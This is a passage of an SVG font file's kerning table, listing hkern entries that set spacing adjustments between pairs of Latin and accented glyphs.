<hkern u1="O" u2="V" k="66" />
<hkern u1="O" u2="T" k="84" />
<hkern u1="O" u2="Q" k="-43" />
<hkern u1="P" u2="&#x178;" k="20" />
<hkern u1="P" u2="&#x153;" k="43" />
<hkern u1="P" u2="&#xff;" k="-43" />
<hkern u1="P" u2="&#xfd;" k="-43" />
<hkern u1="P" u2="&#xf8;" k="43" />
<hkern u1="P" u2="&#xf6;" k="43" />
<hkern u1="P" u2="&#xf5;" k="43" />
<hkern u1="P" u2="&#xf4;" k="43" />
<hkern u1="P" u2="&#xf3;" k="43" />
<hkern u1="P" u2="&#xf2;" k="43" />
<hkern u1="P" u2="&#xeb;" k="43" />
<hkern u1="P" u2="&#xea;" k="43" />
<hkern u1="P" u2="&#xe9;" k="43" />
<hkern u1="P" u2="&#xe8;" k="43" />
<hkern u1="P" u2="&#xe7;" k="63" />
<hkern u1="P" u2="&#xe6;" k="43" />
<hkern u1="P" u2="&#xe5;" k="43" />
<hkern u1="P" u2="&#xe4;" k="43" />
<hkern u1="P" u2="&#xe3;" k="43" />
<hkern u1="P" u2="&#xe2;" k="43" />
<hkern u1="P" u2="&#xe1;" k="43" />
<hkern u1="P" u2="&#xe0;" k="43" />
<hkern u1="P" u2="&#xdd;" k="20" />
<hkern u1="P" u2="y" k="-43" />
<hkern u1="P" u2="w" k="-43" />
<hkern u1="P" u2="v" k="-43" />
<hkern u1="P" u2="t" k="-23" />
<hkern u1="P" u2="r" k="43" />
<hkern u1="P" u2="q" k="66" />
<hkern u1="P" u2="o" k="43" />
<hkern u1="P" u2="g" k="41" />
<hkern u1="P" u2="e" k="43" />
<hkern u1="P" u2="d" k="63" />
<hkern u1="P" u2="c" k="63" />
<hkern u1="P" u2="a" k="43" />
<hkern u1="P" u2="Y" k="20" />
<hkern u1="P" u2="X" k="86" />
<hkern u1="P" u2="W" k="23" />
<hkern u1="Q" u2="&#x178;" k="84" />
<hkern u1="Q" u2="&#xdd;" k="84" />
<hkern u1="Q" u2="Y" k="84" />
<hkern u1="Q" u2="W" k="43" />
<hkern u1="Q" u2="V" k="63" />
<hkern u1="Q" u2="T" k="84" />
<hkern u1="R" u2="&#xff;" k="-84" />
<hkern u1="R" u2="&#xfd;" k="-84" />
<hkern u1="R" u2="&#xdc;" k="-43" />
<hkern u1="R" u2="&#xdb;" k="-43" />
<hkern u1="R" u2="&#xda;" k="-43" />
<hkern u1="R" u2="&#xd9;" k="-43" />
<hkern u1="R" u2="y" k="-84" />
<hkern u1="R" u2="w" k="-43" />
<hkern u1="R" u2="r" k="-20" />
<hkern u1="R" u2="j" k="-86" />
<hkern u1="R" u2="h" k="-23" />
<hkern u1="R" u2="Z" k="-20" />
<hkern u1="R" u2="U" k="-43" />
<hkern u1="R" u2="T" k="-63" />
<hkern u1="R" u2="S" k="-63" />
<hkern u1="S" u2="w" k="20" />
<hkern u1="S" u2="v" k="23" />
<hkern u1="S" u2="t" k="-23" />
<hkern u1="S" u2="r" k="-41" />
<hkern u1="S" u2="q" k="-41" />
<hkern u1="S" u2="p" k="-20" />
<hkern u1="S" u2="m" k="-20" />
<hkern u1="S" u2="k" k="-23" />
<hkern u1="S" u2="h" k="-20" />
<hkern u1="S" u2="g" k="-63" />
<hkern u1="T" u2="&#x178;" k="-86" />
<hkern u1="T" u2="&#x153;" k="276" />
<hkern u1="T" u2="&#xff;" k="190" />
<hkern u1="T" u2="&#xfd;" k="190" />
<hkern u1="T" u2="&#xfc;" k="233" />
<hkern u1="T" u2="&#xfb;" k="233" />
<hkern u1="T" u2="&#xfa;" k="233" />
<hkern u1="T" u2="&#xf9;" k="233" />
<hkern u1="T" u2="&#xf8;" k="276" />
<hkern u1="T" u2="&#xf6;" k="276" />
<hkern u1="T" u2="&#xf5;" k="276" />
<hkern u1="T" u2="&#xf4;" k="276" />
<hkern u1="T" u2="&#xf3;" k="276" />
<hkern u1="T" u2="&#xf2;" k="276" />
<hkern u1="T" u2="&#xf1;" k="236" />
<hkern u1="T" u2="&#xef;" k="20" />
<hkern u1="T" u2="&#xee;" k="20" />
<hkern u1="T" u2="&#xed;" k="20" />
<hkern u1="T" u2="&#xec;" k="20" />
<hkern u1="T" u2="&#xeb;" k="276" />
<hkern u1="T" u2="&#xea;" k="276" />
<hkern u1="T" u2="&#xe9;" k="276" />
<hkern u1="T" u2="&#xe8;" k="276" />
<hkern u1="T" u2="&#xe7;" k="256" />
<hkern u1="T" u2="&#xe6;" k="256" />
<hkern u1="T" u2="&#xe5;" k="256" />
<hkern u1="T" u2="&#xe4;" k="256" />
<hkern u1="T" u2="&#xe3;" k="256" />
<hkern u1="T" u2="&#xe2;" k="256" />
<hkern u1="T" u2="&#xe1;" k="256" />
<hkern u1="T" u2="&#xe0;" k="256" />
<hkern u1="T" u2="&#xdd;" k="-86" />
<hkern u1="T" u2="&#xdc;" k="-43" />
<hkern u1="T" u2="&#xdb;" k="-43" />
<hkern u1="T" u2="&#xda;" k="-43" />
<hkern u1="T" u2="&#xd9;" k="-43" />
<hkern u1="T" u2="z" k="170" />
<hkern u1="T" u2="y" k="190" />
<hkern u1="T" u2="x" k="193" />
<hkern u1="T" u2="w" k="190" />
<hkern u1="T" u2="v" k="213" />
<hkern u1="T" u2="u" k="233" />
<hkern u1="T" u2="t" k="41" />
<hkern u1="T" u2="s" k="256" />
<hkern u1="T" u2="r" k="213" />
<hkern u1="T" u2="q" k="256" />
<hkern u1="T" u2="p" k="233" />
<hkern u1="T" u2="o" k="276" />
<hkern u1="T" u2="n" k="236" />
<hkern u1="T" u2="m" k="233" />
<hkern u1="T" u2="i" k="20" />
<hkern u1="T" u2="g" k="256" />
<hkern u1="T" u2="f" k="106" />
<hkern u1="T" u2="e" k="276" />
<hkern u1="T" u2="d" k="236" />
<hkern u1="T" u2="c" k="256" />
<hkern u1="T" u2="a" k="256" />
<hkern u1="T" u2="Z" k="-43" />
<hkern u1="T" u2="Y" k="-86" />
<hkern u1="T" u2="W" k="-66" />
<hkern u1="T" u2="V" k="-66" />
<hkern u1="T" u2="U" k="-43" />
<hkern u1="T" u2="&#x2e;" k="129" />
<hkern u1="U" u2="x" k="43" />
<hkern u1="U" u2="w" k="23" />
<hkern u1="U" u2="v" k="20" />
<hkern u1="U" u2="r" k="43" />
<hkern u1="U" u2="q" k="43" />
<hkern u1="U" u2="p" k="23" />
<hkern u1="U" u2="m" k="23" />
<hkern u1="U" u2="k" k="20" />
<hkern u1="U" u2="h" k="23" />
<hkern u1="U" u2="g" k="43" />
<hkern u1="U" u2="d" k="43" />
<hkern u1="U" u2="X" k="63" />
<hkern u1="U" u2="W" k="66" />
<hkern u1="V" u2="&#x153;" k="193" />
<hkern u1="V" u2="&#xff;" k="63" />
<hkern u1="V" u2="&#xfd;" k="63" />
<hkern u1="V" u2="&#xfc;" k="150" />
<hkern u1="V" u2="&#xfb;" k="150" />
<hkern u1="V" u2="&#xfa;" k="150" />
<hkern u1="V" u2="&#xf9;" k="150" />
<hkern u1="V" u2="&#xf8;" k="193" />
<hkern u1="V" u2="&#xf6;" k="193" />
<hkern u1="V" u2="&#xf5;" k="193" />
<hkern u1="V" u2="&#xf4;" k="193" />
<hkern u1="V" u2="&#xf3;" k="193" />
<hkern u1="V" u2="&#xf2;" k="193" />
<hkern u1="V" u2="&#xf1;" k="150" />
<hkern u1="V" u2="&#xef;" k="41" />
<hkern u1="V" u2="&#xee;" k="41" />
<hkern u1="V" u2="&#xed;" k="41" />
<hkern u1="V" u2="&#xec;" k="41" />
<hkern u1="V" u2="&#xeb;" k="193" />
<hkern u1="V" u2="&#xea;" k="193" />
<hkern u1="V" u2="&#xe9;" k="193" />
<hkern u1="V" u2="&#xe8;" k="193" />
<hkern u1="V" u2="&#xe7;" k="172" />
<hkern u1="V" u2="&#xe6;" k="172" />
<hkern u1="V" u2="&#xe5;" k="172" />
<hkern u1="V" u2="&#xe4;" k="172" />
<hkern u1="V" u2="&#xe3;" k="172" />
<hkern u1="V" u2="&#xe2;" k="172" />
<hkern u1="V" u2="&#xe1;" k="172" />
<hkern u1="V" u2="&#xe0;" k="172" />
<hkern u1="V" u2="z" k="150" />
<hkern u1="V" u2="y" k="63" />
<hkern u1="V" u2="x" k="63" />
<hkern u1="V" u2="w" k="63" />
<hkern u1="V" u2="v" k="86" />
<hkern u1="V" u2="u" k="150" />
<hkern u1="V" u2="t" k="86" />
<hkern u1="V" u2="s" k="150" />
<hkern u1="V" u2="r" k="150" />
<hkern u1="V" u2="q" k="170" />
<hkern u1="V" u2="p" k="150" />
<hkern u1="V" u2="o" k="193" />
<hkern u1="V" u2="n" k="150" />
<hkern u1="V" u2="m" k="150" />
<hkern u1="V" u2="k" k="43" />
<hkern u1="V" u2="i" k="41" />
<hkern u1="V" u2="h" k="43" />
<hkern u1="V" u2="g" k="213" />
<hkern u1="V" u2="f" k="84" />
<hkern u1="V" u2="e" k="193" />
<hkern u1="V" u2="d" k="170" />
<hkern u1="V" u2="c" k="172" />
<hkern u1="V" u2="a" k="172" />
<hkern u1="W" u2="&#x178;" k="-86" />
<hkern u1="W" u2="&#x153;" k="193" />
<hkern u1="W" u2="&#xff;" k="63" />
<hkern u1="W" u2="&#xfd;" k="63" />
<hkern u1="W" u2="&#xfc;" k="129" />
<hkern u1="W" u2="&#xfb;" k="129" />
<hkern u1="W" u2="&#xfa;" k="129" />
<hkern u1="W" u2="&#xf9;" k="129" />
<hkern u1="W" u2="&#xf8;" k="193" />
<hkern u1="W" u2="&#xf6;" k="193" />
<hkern u1="W" u2="&#xf5;" k="193" />
<hkern u1="W" u2="&#xf4;" k="193" />
<hkern u1="W" u2="&#xf3;" k="193" />
<hkern u1="W" u2="&#xf2;" k="193" />
<hkern u1="W" u2="&#xf1;" k="106" />
<hkern u1="W" u2="&#xef;" k="23" />
<hkern u1="W" u2="&#xee;" k="23" />
<hkern u1="W" u2="&#xed;" k="23" />
<hkern u1="W" u2="&#xec;" k="23" />
<hkern u1="W" u2="&#xeb;" k="170" />
<hkern u1="W" u2="&#xea;" k="170" />
<hkern u1="W" u2="&#xe9;" k="170" />
<hkern u1="W" u2="&#xe8;" k="170" />
<hkern u1="W" u2="&#xe7;" k="172" />
<hkern u1="W" u2="&#xe6;" k="170" />
<hkern u1="W" u2="&#xe5;" k="170" />
<hkern u1="W" u2="&#xe4;" k="170" />
<hkern u1="W" u2="&#xe3;" k="170" />
<hkern u1="W" u2="&#xe2;" k="170" />
<hkern u1="W" u2="&#xe1;" k="170" />
<hkern u1="W" u2="&#xe0;" k="170" />
<hkern u1="W" u2="&#xdd;" k="-86" />
<hkern u1="W" u2="z" k="106" />
<hkern u1="W" u2="y" k="63" />
<hkern u1="W" u2="x" k="84" />
<hkern u1="W" u2="w" k="86" />
<hkern u1="W" u2="u" k="129" />
<hkern u1="W" u2="t" k="66" />
<hkern u1="W" u2="s" k="106" />
<hkern u1="W" u2="r" k="106" />
<hkern u1="W" u2="q" k="170" />
<hkern u1="W" u2="p" k="106" />
<hkern u1="W" u2="o" k="193" />
<hkern u1="W" u2="n" k="106" />
<hkern u1="W" u2="m" k="106" />
<hkern u1="W" u2="i" k="23" />
<hkern u1="W" u2="h" k="43" />
<hkern u1="W" u2="g" k="172" />
<hkern u1="W" u2="e" k="170" />
<hkern u1="W" u2="d" k="170" />
<hkern u1="W" u2="c" k="172" />
<hkern u1="W" u2="a" k="170" />
<hkern u1="W" u2="Y" k="-86" />
<hkern u1="X" u2="&#x153;" k="43" />
<hkern u1="X" u2="&#xff;" k="63" />
<hkern u1="X" u2="&#xfd;" k="63" />
<hkern u1="X" u2="&#xf8;" k="43" />
<hkern u1="X" u2="&#xf6;" k="43" />
<hkern u1="X" u2="&#xf5;" k="43" />
<hkern u1="X" u2="&#xf4;" k="43" />
<hkern u1="X" u2="&#xf3;" k="43" />
<hkern u1="X" u2="&#xf2;" k="43" />
<hkern u1="X" u2="&#xeb;" k="41" />
<hkern u1="X" u2="&#xea;" k="41" />
<hkern u1="X" u2="&#xe9;" k="41" />
<hkern u1="X" u2="&#xe8;" k="41" />
<hkern u1="X" u2="y" k="63" />
<hkern u1="X" u2="w" k="43" />
<hkern u1="X" u2="v" k="41" />
<hkern u1="X" u2="t" k="43" />
<hkern u1="X" u2="o" k="43" />
<hkern u1="X" u2="j" k="-109" />
<hkern u1="X" u2="g" k="-43" />
<hkern u1="X" u2="e" k="41" />
<hkern u1="X" u2="d" k="41" />
<hkern u1="Y" u2="x" k="127" />
<hkern u1="Y" u2="w" k="106" />
<hkern u1="Y" u2="v" k="106" />
<hkern u1="Y" u2="r" k="172" />
<hkern u1="Y" u2="q" k="236" />
<hkern u1="Y" u2="p" k="172" />
<hkern u1="Y" u2="m" k="170" />
<hkern u1="Y" u2="k" k="63" />
<hkern u1="Y" u2="h" k="63" />
<hkern u1="Y" u2="g" k="236" />
<hkern u1="Y" u2="f" k="63" />
<hkern u1="Y" u2="d" k="233" />
<hkern u1="Z" u2="g" k="-66" />
<hkern u1="a" u2="w" k="66" />
<hkern u1="a" u2="v" k="63" />
<hkern u1="a" u2="t" k="43" />
<hkern u1="a" u2="j" k="-43" />
<hkern u1="a" u2="b" k="20" />
<hkern u1="b" u2="&#xff;" k="43" />
<hkern u1="b" u2="&#xfd;" k="43" />
<hkern u1="b" u2="z" k="43" />
<hkern u1="b" u2="y" k="43" />
<hkern u1="b" u2="w" k="43" />
<hkern u1="b" u2="v" k="41" />
<hkern u1="b" u2="t" k="41" />
<hkern u1="b" u2="m" k="20" />
<hkern u1="c" u2="q" k="-41" />
<hkern u1="c" u2="g" k="-23" />
<hkern u1="d" u2="&#xfc;" k="23" />
<hkern u1="d" u2="&#xfb;" k="23" />
<hkern u1="d" u2="&#xfa;" k="23" />
<hkern u1="d" u2="&#xf9;" k="23" />
<hkern u1="d" u2="&#xeb;" k="-23" />
<hkern u1="d" u2="&#xea;" k="-23" />
<hkern u1="d" u2="&#xe9;" k="-23" />
<hkern u1="d" u2="&#xe8;" k="-23" />
<hkern u1="d" u2="w" k="43" />
<hkern u1="d" u2="u" k="23" />
<hkern u1="d" u2="j" k="-43" />
<hkern u1="d" u2="e" k="-23" />
<hkern u1="e" u2="x" k="20" />
<hkern u1="e" u2="w" k="41" />
<hkern u1="e" u2="v" k="23" />
<hkern u1="e" u2="t" k="43" />
<hkern u1="e" u2="m" k="20" />
<hkern u1="e" u2="k" k="20" />
<hkern u1="e" u2="h" k="20" />
<hkern u1="f" u2="&#x178;" k="-43" />
<hkern u1="f" u2="&#x153;" k="84" />
<hkern u1="f" u2="&#xfc;" k="43" />
<hkern u1="f" u2="&#xfb;" k="43" />
<hkern u1="f" u2="&#xfa;" k="43" />
<hkern u1="f" u2="&#xf9;" k="43" />
<hkern u1="f" u2="&#xf8;" k="84" />
<hkern u1="f" u2="&#xf6;" k="84" />
<hkern u1="f" u2="&#xf5;" k="84" />
<hkern u1="f" u2="&#xf4;" k="84" />
<hkern u1="f" u2="&#xf3;" k="84" />
<hkern u1="f" u2="&#xf2;" k="84" />
<hkern u1="f" u2="&#xf1;" k="63" />
<hkern u1="f" u2="&#xef;" k="20" />
<hkern u1="f" u2="&#xee;" k="20" />
<hkern u1="f" u2="&#xed;" k="20" />
<hkern u1="f" u2="&#xec;" k="20" />
<hkern u1="f" u2="&#xdd;" k="-43" />
<hkern u1="f" u2="x" k="43" />
<hkern u1="f" u2="u" k="43" />
<hkern u1="f" u2="s" k="63" />
<hkern u1="f" u2="r" k="20" />
<hkern u1="f" u2="o" k="84" />
<hkern u1="f" u2="n" k="63" />
<hkern u1="f" u2="i" k="20" />
<hkern u1="f" u2="g" k="86" />
<hkern u1="f" u2="Y" k="-43" />
<hkern u1="f" u2="W" k="-84" />
<hkern u1="f" u2="V" k="-63" />
<hkern u1="f" u2="T" k="-43" />
<hkern u1="g" u2="&#xff;" k="-20" />
<hkern u1="g" u2="&#xfd;" k="-20" />
<hkern u1="g" u2="y" k="-20" />
<hkern u1="g" u2="x" k="-63" />
<hkern u1="g" u2="w" k="-23" />
<hkern u1="g" u2="v" k="-20" />
<hkern u1="g" u2="j" k="-256" />
<hkern u1="g" u2="h" k="-20" />
<hkern u1="h" u2="&#xff;" k="43" />
<hkern u1="h" u2="&#xfd;" k="43" />
<hkern u1="h" u2="&#xfc;" k="20" />
<hkern u1="h" u2="&#xfb;" k="20" />
<hkern u1="h" u2="&#xfa;" k="20" />
<hkern u1="h" u2="&#xf9;" k="20" />
<hkern u1="h" u2="y" k="43" />
<hkern u1="h" u2="w" k="63" />
<hkern u1="h" u2="v" k="63" />
<hkern u1="h" u2="u" k="20" />
<hkern u1="i" u2="x" k="-43" />
<hkern u1="i" u2="J" k="-86" />
<hkern u1="j" u2="K" k="-23" />
<hkern u1="k" u2="&#x153;" k="43" />
<hkern u1="k" u2="&#xff;" k="-43" />
<hkern u1="k" u2="&#xfd;" k="-43" />
<hkern u1="k" u2="&#xf8;" k="43" />
<hkern u1="k" u2="&#xf6;" k="43" />
<hkern u1="k" u2="&#xf5;" k="43" />
<hkern u1="k" u2="&#xf4;" k="43" />
<hkern u1="k" u2="&#xf3;" k="43" />
<hkern u1="k" u2="&#xf2;" k="43" />
<hkern u1="k" u2="y" k="-43" />
<hkern u1="k" u2="v" k="-43" />
<hkern u1="k" u2="o" k="43" />
<hkern u1="m" u2="&#xff;" k="43" />
<hkern u1="m" u2="&#xfd;" k="43" />
<hkern u1="m" u2="&#xfc;" k="43" />
<hkern u1="m" u2="&#xfb;" k="43" />
<hkern u1="m" u2="&#xfa;" k="43" />
<hkern u1="m" u2="&#xf9;" k="43" />
<hkern u1="m" u2="y" k="43" />
<hkern u1="m" u2="w" k="43" />
<hkern u1="m" u2="v" k="43" />
<hkern u1="m" u2="u" k="43" />
<hkern u1="m" u2="t" k="43" />
<hkern u1="m" u2="p" k="20" />
<hkern u1="n" u2="w" k="43" />
<hkern u1="n" u2="v" k="63" />
<hkern u1="n" u2="t" k="43" />
<hkern u1="o" u2="x" k="20" />
<hkern u1="o" u2="w" k="43" />
<hkern u1="o" u2="v" k="20" />
<hkern u1="o" u2="t" k="20" />
<hkern u1="q" u2="&#xfc;" k="20" />
<hkern u1="q" u2="&#xfb;" k="20" />
<hkern u1="q" u2="&#xfa;" k="20" />
<hkern u1="q" u2="&#xf9;" k="20" />
<hkern u1="q" u2="u" k="20" />
<hkern u1="r" u2="&#xff;" k="-63" />
<hkern u1="r" u2="&#xfd;" k="-63" />
<hkern u1="r" u2="&#xfc;" k="-20" />
<hkern u1="r" u2="&#xfb;" k="-20" />
<hkern u1="r" u2="&#xfa;" k="-20" />
<hkern u1="r" u2="&#xf9;" k="-20" />
<hkern u1="r" u2="y" k="-63" />
<hkern u1="r" u2="x" k="-43" />
<hkern u1="r" u2="w" k="-43" />
<hkern u1="r" u2="v" k="-63" />
<hkern u1="r" u2="u" k="-20" />
<hkern u1="r" u2="t" k="-63" />
<hkern u1="t" u2="&#xff;" k="-23" />
<hkern u1="t" u2="&#xfd;" k="-23" />
<hkern u1="t" u2="y" k="-23" />
<hkern u1="v" u2="&#xff;" k="-43" />
<hkern u1="v" u2="&#xfd;" k="-43" />
<hkern u1="v" u2="y" k="-43" />
<hkern u1="v" u2="x" k="-43" />
<hkern u1="v" u2="w" k="-63" />
<hkern u1="w" u2="&#xff;" k="-23" />
<hkern u1="w" u2="&#xfd;" k="-23" />
<hkern u1="w" u2="z" k="43" />
<hkern u1="w" u2="y" k="-23" />
<hkern u1="w" u2="x" k="-43" />
<hkern u1="x" u2="&#xff;" k="-66" />
<hkern u1="x" u2="&#xfd;" k="-66" />
<hkern u1="x" u2="y" k="-66" />
<hkern u1="&#xc0;" u2="x" k="-66" />
<hkern u1="&#xc0;" u2="w" k="106" />
<hkern u1="&#xc0;" u2="v" k="106" />
<hkern u1="&#xc0;" u2="t" k="84" />
<hkern u1="&#xc0;" u2="q" k="41" />
<hkern u1="&#xc0;" u2="g" k="-43" />
<hkern u1="&#xc0;" u2="f" k="41" />
<hkern u1="&#xc0;" u2="d" k="43" />
<hkern u1="&#xc0;" u2="W" k="190" />
<hkern u1="&#xc0;" u2="V" k="213" />
<hkern u1="&#xc0;" u2="T" k="213" />
<hkern u1="&#xc0;" u2="R" k="-20" />
<hkern u1="&#xc0;" u2="Q" k="43" />
<hkern u1="&#xc0;" u2="J" k="86" />
<hkern u1="&#xc0;" u2="G" k="43" />
<hkern u1="&#xc1;" u2="x" k="-66" />
<hkern u1="&#xc1;" u2="w" k="106" />
<hkern u1="&#xc1;" u2="v" k="106" />
<hkern u1="&#xc1;" u2="t" k="84" />
<hkern u1="&#xc1;" u2="q" k="41" />
<hkern u1="&#xc1;" u2="g" k="-43" />
<hkern u1="&#xc1;" u2="f" k="41" />
<hkern u1="&#xc1;" u2="d" k="43" />
<hkern u1="&#xc1;" u2="W" k="190" />
<hkern u1="&#xc1;" u2="V" k="213" />
<hkern u1="&#xc1;" u2="T" k="213" />
<hkern u1="&#xc1;" u2="R" k="-20" />
<hkern u1="&#xc1;" u2="Q" k="43" />
<hkern u1="&#xc1;" u2="J" k="86" />
<hkern u1="&#xc1;" u2="G" k="43" />
<hkern u1="&#xc2;" u2="x" k="-66" />
<hkern u1="&#xc2;" u2="w" k="106" />
<hkern u1="&#xc2;" u2="v" k="106" />
<hkern u1="&#xc2;" u2="t" k="84" />
<hkern u1="&#xc2;" u2="q" k="41" />
<hkern u1="&#xc2;" u2="g" k="-43" />
<hkern u1="&#xc2;" u2="f" k="41" />
<hkern u1="&#xc2;" u2="d" k="43" />
<hkern u1="&#xc2;" u2="W" k="190" />
<hkern u1="&#xc2;" u2="V" k="213" />
<hkern u1="&#xc2;" u2="T" k="213" />
<hkern u1="&#xc2;" u2="R" k="-20" />
<hkern u1="&#xc2;" u2="Q" k="43" />
<hkern u1="&#xc2;" u2="J" k="86" />
<hkern u1="&#xc2;" u2="G" k="43" />
<hkern u1="&#xc3;" u2="x" k="-66" />
<hkern u1="&#xc3;" u2="w" k="106" />
<hkern u1="&#xc3;" u2="v" k="106" />
<hkern u1="&#xc3;" u2="t" k="84" />
<hkern u1="&#xc3;" u2="q" k="41" />
<hkern u1="&#xc3;" u2="g" k="-43" />
<hkern u1="&#xc3;" u2="f" k="41" />
<hkern u1="&#xc3;" u2="d" k="43" />
<hkern u1="&#xc3;" u2="W" k="190" />
<hkern u1="&#xc3;" u2="V" k="213" />
<hkern u1="&#xc3;" u2="T" k="213" />
<hkern u1="&#xc3;" u2="R" k="-20" />
<hkern u1="&#xc3;" u2="Q" k="43" />
<hkern u1="&#xc3;" u2="J" k="86" />
<hkern u1="&#xc3;" u2="G" k="43" />
<hkern u1="&#xc4;" u2="x" k="-66" />
<hkern u1="&#xc4;" u2="w" k="106" />
<hkern u1="&#xc4;" u2="v" k="106" />
<hkern u1="&#xc4;" u2="t" k="84" />
<hkern u1="&#xc4;" u2="q" k="41" />
<hkern u1="&#xc4;" u2="g" k="-43" />
<hkern u1="&#xc4;" u2="f" k="41" />
<hkern u1="&#xc4;" u2="d" k="43" />
<hkern u1="&#xc4;" u2="W" k="190" />
<hkern u1="&#xc4;" u2="V" k="213" />
<hkern u1="&#xc4;" u2="T" k="213" />
<hkern u1="&#xc4;" u2="R" k="-20" />
<hkern u1="&#xc4;" u2="Q" k="43" />
<hkern u1="&#xc4;" u2="J" k="86" />
<hkern u1="&#xc4;" u2="G" k="43" />
<hkern u1="&#xc5;" u2="x" k="-66" />
<hkern u1="&#xc5;" u2="w" k="106" />
<hkern u1="&#xc5;" u2="v" k="106" />
<hkern u1="&#xc5;" u2="t" k="84" />
<hkern u1="&#xc5;" u2="q" k="41" />
<hkern u1="&#xc5;" u2="g" k="-43" />
<hkern u1="&#xc5;" u2="f" k="41" />
<hkern u1="&#xc5;" u2="d" k="43" />
<hkern u1="&#xc5;" u2="W" k="190" />
<hkern u1="&#xc5;" u2="V" k="213" />
<hkern u1="&#xc5;" u2="T" k="213" />
<hkern u1="&#xc5;" u2="R" k="-20" />
<hkern u1="&#xc5;" u2="Q" k="43" />
<hkern u1="&#xc5;" u2="J" k="86" />
<hkern u1="&#xc5;" u2="G" k="43" />
<hkern u1="&#xc6;" u2="&#x178;" k="-43" />
<hkern u1="&#xc6;" u2="&#xdd;" k="-43" />
<hkern u1="&#xc6;" u2="&#xd1;" k="-43" />
<hkern u1="&#xc6;" u2="x" k="-43" />
<hkern u1="&#xc6;" u2="s" k="-20" />
<hkern u1="&#xc6;" u2="j" k="-84" />
<hkern u1="&#xc6;" u2="Y" k="-43" />
<hkern u1="&#xc6;" u2="W" k="-20" />
<hkern u1="&#xc6;" u2="V" k="-23" />
<hkern u1="&#xc6;" u2="T" k="-84" />
<hkern u1="&#xc6;" u2="S" k="-43" />
<hkern u1="&#xc6;" u2="N" k="-43" />
<hkern u1="&#xc6;" u2="J" k="-23" />
<hkern u1="&#xc7;" u2="w" k="-43" />
<hkern u1="&#xc7;" u2="t" k="-43" />
<hkern u1="&#xc7;" u2="m" k="-43" />
<hkern u1="&#xc7;" u2="h" k="-43" />
<hkern u1="&#xc7;" u2="g" k="-20" />
<hkern u1="&#xc7;" u2="T" k="-43" />
<hkern u1="&#xc7;" u2="R" k="-63" />
<hkern u1="&#xc7;" u2="P" k="-43" />
<hkern u1="&#xc7;" u2="M" k="-43" />
<hkern u1="&#xc7;" u2="K" k="-66" />
<hkern u1="&#xc7;" u2="H" k="-63" />
<hkern u1="&#xc8;" u2="x" k="-43" />
<hkern u1="&#xc8;" u2="j" k="-84" />
<hkern u1="&#xc8;" u2="W" k="-20" />
<hkern u1="&#xc8;" u2="V" k="-23" />
<hkern u1="&#xc8;" u2="T" k="-84" />
<hkern u1="&#xc8;" u2="J" k="-23" />
<hkern u1="&#xc9;" u2="x" k="-43" />
<hkern u1="&#xc9;" u2="j" k="-84" />
<hkern u1="&#xc9;" u2="W" k="-20" />
<hkern u1="&#xc9;" u2="V" k="-23" />
<hkern u1="&#xc9;" u2="T" k="-84" />
<hkern u1="&#xc9;" u2="J" k="-23" />
<hkern u1="&#xca;" u2="x" k="-43" />
<hkern u1="&#xca;" u2="j" k="-84" />
<hkern u1="&#xca;" u2="W" k="-20" />
<hkern u1="&#xca;" u2="V" k="-23" />
<hkern u1="&#xca;" u2="T" k="-84" />
<hkern u1="&#xca;" u2="J" k="-23" />
<hkern u1="&#xcb;" u2="x" k="-43" />
<hkern u1="&#xcb;" u2="j" k="-84" />
<hkern u1="&#xcb;" u2="W" k="-20" />
<hkern u1="&#xcb;" u2="V" k="-23" />
<hkern u1="&#xcb;" u2="T" k="-84" />
<hkern u1="&#xcb;" u2="J" k="-23" />
<hkern u1="&#xcc;" u2="W" k="-43" />
<hkern u1="&#xcc;" u2="T" k="-66" />
<hkern u1="&#xcc;" u2="J" k="-20" />
<hkern u1="&#xcd;" u2="W" k="-43" />
<hkern u1="&#xcd;" u2="T" k="-66" />
<hkern u1="&#xcd;" u2="J" k="-20" />
<hkern u1="&#xce;" u2="W" k="-43" />
<hkern u1="&#xce;" u2="T" k="-66" />
<hkern u1="&#xce;" u2="J" k="-20" />
<hkern u1="&#xcf;" u2="W" k="-43" />
<hkern u1="&#xcf;" u2="T" k="-66" />
<hkern u1="&#xcf;" u2="J" k="-20" />
<hkern u1="&#xd2;" u2="b" k="-20" />
<hkern u1="&#xd2;" u2="X" k="86" />
<hkern u1="&#xd2;" u2="W" k="63" />
<hkern u1="&#xd2;" u2="V" k="66" />
<hkern u1="&#xd2;" u2="T" k="84" />
<hkern u1="&#xd2;" u2="Q" k="-43" />
<hkern u1="&#xd3;" u2="b" k="-20" />
<hkern u1="&#xd3;" u2="X" k="86" />
<hkern u1="&#xd3;" u2="W" k="63" />
<hkern u1="&#xd3;" u2="V" k="66" />
<hkern u1="&#xd3;" u2="T" k="84" />
<hkern u1="&#xd3;" u2="Q" k="-43" />
<hkern u1="&#xd4;" u2="b" k="-20" />
<hkern u1="&#xd4;" u2="X" k="86" />
<hkern u1="&#xd4;" u2="W" k="63" />
<hkern u1="&#xd4;" u2="V" k="66" />
<hkern u1="&#xd4;" u2="T" k="84" />
<hkern u1="&#xd4;" u2="Q" k="-43" />
<hkern u1="&#xd5;" u2="b" k="-20" />
<hkern u1="&#xd5;" u2="X" k="86" />
<hkern u1="&#xd5;" u2="W" k="63" />
<hkern u1="&#xd5;" u2="V" k="66" />
<hkern u1="&#xd5;" u2="T" k="84" />
<hkern u1="&#xd5;" u2="Q" k="-43" />
<hkern u1="&#xd6;" u2="b" k="-20" />
<hkern u1="&#xd6;" u2="X" k="86" />
<hkern u1="&#xd6;" u2="W" k="63" />
<hkern u1="&#xd6;" u2="V" k="66" />
<hkern u1="&#xd6;" u2="T" k="84" />
<hkern u1="&#xd6;" u2="Q" k="-43" />
<hkern u1="&#xd8;" u2="b" k="-20" />
<hkern u1="&#xd8;" u2="X" k="86" />
<hkern u1="&#xd8;" u2="W" k="63" />
<hkern u1="&#xd8;" u2="V" k="66" />
<hkern u1="&#xd8;" u2="T" k="84" />
<hkern u1="&#xd8;" u2="Q" k="-43" />
<hkern u1="&#xd9;" u2="x" k="43" />
<hkern u1="&#xd9;" u2="w" k="23" />
<hkern u1="&#xd9;" u2="v" k="20" />
<hkern u1="&#xd9;" u2="r" k="43" />
<hkern u1="&#xd9;" u2="q" k="43" />
<hkern u1="&#xd9;" u2="p" k="23" />
<hkern u1="&#xd9;" u2="m" k="23" />
<hkern u1="&#xd9;" u2="k" k="20" />
<hkern u1="&#xd9;" u2="h" k="23" />
<hkern u1="&#xd9;" u2="g" k="43" />
<hkern u1="&#xd9;" u2="d" k="43" />
<hkern u1="&#xd9;" u2="X" k="63" />
<hkern u1="&#xd9;" u2="W" k="66" />
